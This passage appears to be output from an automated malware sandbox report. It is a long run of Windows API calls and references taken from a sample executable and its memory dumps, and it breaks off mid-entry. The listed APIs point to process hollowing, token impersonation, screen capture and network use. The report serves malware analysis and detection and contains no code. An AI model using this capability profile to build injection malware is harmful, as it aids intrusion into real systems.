"adc663ab13.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter FlsGetValue2 (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006500) "adc663ab13.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00006500)2d:Tac3e,Found reference to API (Indicator: "GetSidSubAuthorityCount"; File: "bounty-38813904328784694") Found reference to API (Indicator: "RegOpenKeyExA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "RegQueryInfoKeyW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "RegGetValueA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "RegQueryValueExA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "RegCloseKey"; File: "bounty-38813904328784694") Found reference to API (Indicator: "ImpersonateLoggedOnUser"; File: "bounty-38813904328784694") Found reference to API (Indicator: "LookupAccountNameA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetUserNameA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "RegSetValueExA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "DuplicateTokenEx"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetSidSubAuthority"; File: "bounty-38813904328784694") Found reference to API (Indicator: "RegEnumValueA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "OpenProcessToken"; File: "bounty-38813904328784694") Found reference to API (Indicator: "RevertToSelf"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetSidIdentifierAuthority"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreateCompatibleBitmap"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreateCompatibleDC"; File: "bounty-38813904328784694") Found reference to API (Indicator: "DeleteObject"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SelectObject"; File: "bounty-38813904328784694") Found reference to API (Indicator: "BitBlt"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "FindClose"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreateDirectoryA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "VirtualAlloc"; File: "bounty-38813904328784694") Found reference to API (Indicator: "RaiseException"; File: "bounty-38813904328784694") Found reference to API (Indicator: "Sleep"; File: "bounty-38813904328784694") Found reference to API (Indicator: "TryEnterCriticalSection"; File: "bounty-38813904328784694") Found reference to API (Indicator: "FreeLibraryWhenCallbackReturns"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetUserDefaultLCID"; File: "bounty-38813904328784694") Found reference to API (Indicator: "FreeLibrary"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetTempPathA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "DeleteCriticalSection"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetModuleFileNameA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CompareStringW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreateEventW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetStdHandle"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "bounty-38813904328784694") Found reference to API (Indicator: "ReadProcessMemory"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreateThreadpoolWork"; File: "bounty-38813904328784694") Found reference to API (Indicator: "InitializeSListHead"; File: "bounty-38813904328784694") Found reference to API (Indicator: "ResetEvent"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetThreadContext"; File: "bounty-38813904328784694") Found reference to API (Indicator: "LCMapStringW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "TlsFree"; File: "bounty-38813904328784694") Found reference to API (Indicator: "WideCharToMultiByte"; File: "bounty-38813904328784694") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetLastError"; File: "bounty-38813904328784694") Found reference to API (Indicator: "Process32FirstW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "WakeConditionVariable"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreateFileA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetComputerNameExW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "IsValidCodePage"; File: "bounty-38813904328784694") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetLocaleInfoW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreateThread"; File: "bounty-38813904328784694") Found reference to API (Indicator: "ResumeThread"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SubmitThreadpoolWork"; File: "bounty-38813904328784694") Found reference to API (Indicator: "HeapReAlloc"; File: "bounty-38813904328784694") Found reference to API (Indicator: "WriteProcessMemory"; File: "bounty-38813904328784694") Found reference to API (Indicator: "FileTimeToSystemTime"; File: "bounty-38813904328784694") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "bounty-38813904328784694") Found reference to API (Indicator: "TerminateProcess"; File: "bounty-38813904328784694") Found reference to API (Indicator: "Process32NextW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "AcquireSRWLockExclusive"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetTimeZoneInformation"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetModuleHandleW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "bounty-38813904328784694") Found reference to API (Indicator: "InitOnceBeginInitialize"; File: "bounty-38813904328784694") Found reference to API (Indicator: "VirtualFree"; File: "bounty-38813904328784694") Found reference to API (Indicator: "WriteFile"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetConsoleMode"; File: "bounty-38813904328784694") Found reference to API (Indicator: "InitializeSRWLock"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreateMutexA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetOEMCP"; File: "bounty-38813904328784694") Found reference to API (Indicator: "TlsGetValue"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SleepConditionVariableSRW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetFullPathNameW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SetHandleInformation"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetCurrentThreadId"; File: "bounty-38813904328784694") Found reference to API (Indicator: "HeapFree"; File: "bounty-38813904328784694") Found reference to API (Indicator: "InitOnceComplete"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetStringTypeW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "TlsAlloc"; File: "bounty-38813904328784694") Found reference to API (Indicator: "InitializeConditionVariable"; File: "bounty-38813904328784694") Found reference to API (Indicator: "EnterCriticalSection"; File: "bounty-38813904328784694") Found reference to API (Indicator: "LoadLibraryExW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CloseHandle"; File: "bounty-38813904328784694") Found reference to API (Indicator: "EncodePointer"; File: "bounty-38813904328784694") Found reference to API (Indicator: "HeapAlloc"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreateFileW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SetFilePointerEx"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetModuleHandleExW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "FlushFileBuffers"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SetStdHandle"; File: "bounty-38813904328784694") Found reference to API (Indicator: "WriteConsoleW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SleepConditionVariableCS"; File: "bounty-38813904328784694") Found reference to API (Indicator: "Wow64DisableWow64FsRedirection"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetModuleHandleA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "MultiByteToWideChar"; File: "bounty-38813904328784694") Found reference to API (Indicator: "OpenProcess"; File: "bounty-38813904328784694") Found reference to API (Indicator: "WaitForSingleObject"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetCurrentProcess"; File: "bounty-38813904328784694") Found reference to API (Indicator: "Wow64RevertWow64FsRedirection"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetProcAddress"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetFileType"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetCPInfo"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetCurrentProcessId"; File: "bounty-38813904328784694") Found reference to API (Indicator: "IsDebuggerPresent"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreatePipe"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetModuleFileNameW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "IsValidLocale"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SetEvent"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SetEndOfFile"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreateProcessA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; File: "bounty-38813904328784694") Found reference to API (Indicator: "HeapSize"; File: "bounty-38813904328784694") Found reference to API (Indicator: "EnumSystemLocalesW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "PeekNamedPipe"; File: "bounty-38813904328784694") Found reference to API (Indicator: "DecodePointer"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CloseThreadpoolWork"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetProcessHeap"; File: "bounty-38813904328784694") Found reference to API (Indicator: "ReadFile"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetACP"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; File: "bounty-38813904328784694") Found reference to API (Indicator: "ReadConsoleW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "WakeAllConditionVariable"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetFileSizeEx"; File: "bounty-38813904328784694") Found reference to API (Indicator: "FindFirstFileExW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "ExitProcess"; File: "bounty-38813904328784694") Found reference to API (Indicator: "DeleteFileW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "LCMapStringEx"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetVersionExW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetCommandLineA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "RemoveDirectoryA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetStartupInfoW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SetThreadContext"; File: "bounty-38813904328784694") Found reference to API (Indicator: "RtlUnwind"; File: "bounty-38813904328784694") Found reference to API (Indicator: "TlsSetValue"; File: "bounty-38813904328784694") Found reference to API (Indicator: "FindNextFileW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetFileAttributesA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetSystemInfo"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetCommandLineW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetDriveTypeW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "LeaveCriticalSection"; File: "bounty-38813904328784694") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "bounty-38813904328784694") Found reference to API (Indicator: "VirtualAllocEx"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SetLastError"; File: "bounty-38813904328784694") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SHFileOperationA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "ShellExecuteA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SHGetFolderPathA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetSystemMetrics"; File: "bounty-38813904328784694") Found reference to API (Indicator: "ReleaseDC"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetDC"; File: "bounty-38813904328784694") Found reference to API (Indicator: "HttpEndRequestW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "HttpSendRequestA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "InternetConnectA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "InternetOpenW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "InternetOpenA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "HttpOpenRequestA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "InternetReadFile"; File: "bounty-38813904328784694") Found reference to API (Indicator: "HttpAddRequestHeadersA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "InternetOpenUrlA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "InternetWriteFile"; File: "bounty-38813904328784694") Found reference to API (Indicator: "InternetCloseHandle"; File: "bounty-38813904328784694") Found reference to API (Indicator: "HttpSendRequestExA"; File: "bounty-38813904328784694") Found reference to API (Indicator: "WSAStartup"; File: "bounty-38813904328784694") Found reference to API (Indicator: "htons"; File: "bounty-38813904328784694") Found reference to API (Indicator: "closesocket"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CoCreateInstance"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CoUninitialize"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CoInitialize"; File: "bounty-38813904328784694") Found reference to API (Indicator: "FlsAlloc"; File: "bounty-38813904328784694") Found reference to API (Indicator: "FlsFree"; File: "bounty-38813904328784694") Found reference to API (Indicator: "FlsGetValue"; File: "bounty-38813904328784694") Found reference to API (Indicator: "FlsSetValue"; File: "bounty-38813904328784694") Found reference to API (Indicator: "InitOnceExecuteOnce"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreateEventExW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreateSemaphoreW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreateSemaphoreExW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreateThreadpoolTimer"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SetThreadpoolTimer"; File: "bounty-38813904328784694") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CloseThreadpoolTimer"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreateThreadpoolWait"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SetThreadpoolWait"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CloseThreadpoolWait"; File: "bounty-38813904328784694") Found reference to API (Indicator: "FlushProcessWriteBuffers"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetCurrentProcessorNumber"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CreateSymbolicLinkW"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetTickCount64"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetFileInformationByHandleEx"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SetFileInformationByHandle"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; File: "bounty-38813904328784694") Found reference to API (Indicator: "TryAcquireSRWLockExclusive"; File: "bounty-38813904328784694") Found reference to API (Indicator: "CompareStringEx"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetLocaleInfoEx"; File: "bounty-38813904328784694") Found reference to API (Indicator: "AreFileApisANSI"; File: "bounty-38813904328784694") Found reference to API (Indicator: "EnumSystemLocalesEx"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetDateFormatEx"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetTimeFormatEx"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetUserDefaultLocaleName"; File: "bounty-38813904328784694") Found reference to API (Indicator: "IsValidLocaleName"; File: "bounty-38813904328784694") Found reference to API (Indicator: "LCIDToLocaleName"; File: "bounty-38813904328784694") Found reference to API (Indicator: "LocaleNameToLCID"; File: "bounty-38813904328784694") Found reference to API (Indicator: "NtUnmapViewOfSection"; File: "bounty-38813904328784694") Found reference to API (Indicator: "lstrcpy"; File: "bounty-38813904328784694") Found reference to API (Indicator: "VirtualProtect"; File: "bounty-38813904328784694") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "bounty-38813904328784694") Found reference to API (Indicator: "RtlCaptureContext"; File: "bounty-38813904328784694") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "bounty-38813904328784694") Found reference to API (Indicator: "GetTickCount"; File: "bounty-38813904328784694") Found reference to API (Indicator: "RtlPcToFileHeader"; File: "bounty-38813904328784694") Found reference to API (Indicator: "SetFirmwareEnvironmentVariableA"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "SetThreadContext"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "SetFirmwareEnvironmentVariableW"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "ConvertNLSDayOfWeekToWin32DayOfWeek"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "GetCompressedFileSizeTransactedW"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "RemoveLocalAlternateComputerNameA"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "SetFirmwareEnvironmentVariableExW"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "ReleaseSemaphoreWhenCallbackReturns"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "RemoveLocalAlternateComputerNameW"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "BasepAllocateActivationContextActivationBlock"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "Basep8BitStringToDynamicUnicodeString"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "DisassociateCurrentThreadFromCallback"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "InitializeProcThreadAttributeList"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "GetPhysicallyInstalledSystemMemory"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "BaseIsAppcompatInfrastructureDisabled"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "LeaveCriticalSectionWhenCallbackReturns"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "GetFirmwareEnvironmentVariableExW"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "GetLogicalProcessorInformationEx"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "CloseThreadpoolCleanupGroupMembers"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "RegisterApplicationRecoveryCallback"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "BaseCleanupAppcompatCacheSupport"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "SetFirmwareEnvironmentVariableExA"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "SetFileCompletionNotificationModes"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "GetVolumePathNamesForVolumeNameW"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "GetVolumePathNamesForVolumeNameA"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "GetVolumeNameForVolumeMountPointW"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "GetFirmwareEnvironmentVariableExA"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "BasepAnsiStringToDynamicUnicodeString"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "AddIntegrityLabelToBoundaryDescriptor"; Source: "00000000-00006500.00000000.285997.09720000.00000004.mdmp, 00000000-00006500.00000002.289836.09720000.00000004.mdmp") Found reference to API (Indicator: "GetDateFormatEx"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatEx"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "EnumSystemLocalesEx"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "IsValidLocaleName"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "EnumSystemLocalesW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 00000000-00006500.00000000.285997.94ECB000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00006500.00000000.285997.0B351000.00000004.mdmp, 